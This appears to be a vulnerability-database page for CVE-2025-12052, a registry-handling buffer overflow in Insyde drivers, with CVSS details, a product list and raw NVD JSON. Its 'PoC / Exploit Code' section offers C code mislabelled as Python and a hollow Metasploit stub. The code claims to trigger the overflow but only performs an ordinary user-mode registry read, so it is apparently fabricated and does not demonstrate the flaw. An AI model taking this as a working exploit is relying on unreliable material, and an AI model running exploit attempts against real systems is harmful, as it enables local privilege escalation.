Security Vulnerability Report
中文
CVE-2025-12052 CVSS 7.8 HIGH

CVE-2025-12052

Published: 2026-01-14 02:15:50
Last Modified: 2026-04-15 00:35:42
Source: 8338d8cb-57f7-4252-abc0-96fd13e98d21

Description

The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Insyde BIOS drivers (all versions using RTL_QUERY_REGISTRY_DIRECT)
Windows kernel mode drivers with vulnerable registry handling
Specific Insyde security advisory: SA-2025010 affected firmware versions

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-12052 Buffer Overflow PoC Target: Windows drivers using RTL_QUERY_REGISTRY_DIRECT Author: Security Researcher Note: Educational purposes only */ #include <windows.h> #include <stdio.h> int main() { HKEY hKey; LONG lResult; DWORD dwType = REG_SZ; char szValue[8192]; // Large buffer to trigger overflow DWORD cbData = sizeof(szValue); // Fill buffer with pattern memset(szValue, 0x41, sizeof(szValue) - 1); szValue[sizeof(szValue) - 1] = '\0'; // Attempt to trigger vulnerability via registry lResult = RegOpenKeyExA( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver", 0, KEY_READ, &hKey ); if (lResult == ERROR_SUCCESS) { printf("[+] Registry key opened successfully\n"); printf("[*] Attempting to trigger buffer overflow...\n"); // This will trigger the driver to read the large value lResult = RegQueryValueExA( hKey, "MaliciousValue", NULL, &dwType, (LPBYTE)szValue, &cbData ); printf("[*] Registry query completed with result: %ld\n", lResult); RegCloseKey(hKey); } else { printf("[-] Failed to open registry key\n"); } return 0; } // Metasploit module structure for reference: // require 'msf/core' // class MetasploitModule < Msf::Exploit::Local // Rank = NormalRanking // // def initialize(info = {}) // super(update_info(info, // 'Name' => 'CVE-2025-12052 Driver Buffer Overflow', // 'Description' => %q{ // This module exploits a buffer overflow in Windows drivers // using RTL_QUERY_REGISTRY_DIRECT flag. // }, // 'License' => MSF_LICENSE, // 'Author' => ['Researcher'], // 'Platform' => 'win' // )) // end // end

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12052", "sourceIdentifier": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "published": "2026-01-14T02:15:49.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow."}, {"lang": "es", "value": "Los controladores en los paquetes de herramientas usan la bandera RTL_QUERY_REGISTRY_DIRECT para leer un valor del registro al cual una aplicación en modo de usuario no confiable podría ser capaz de causar un desbordamiento de búfer."}], "metrics": {"cvssMetricV31": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.insyde.com/security-pledge/sa-2025010/", "source": "8338d8cb-57f7-4252-abc0-96fd13e98d21"}]}}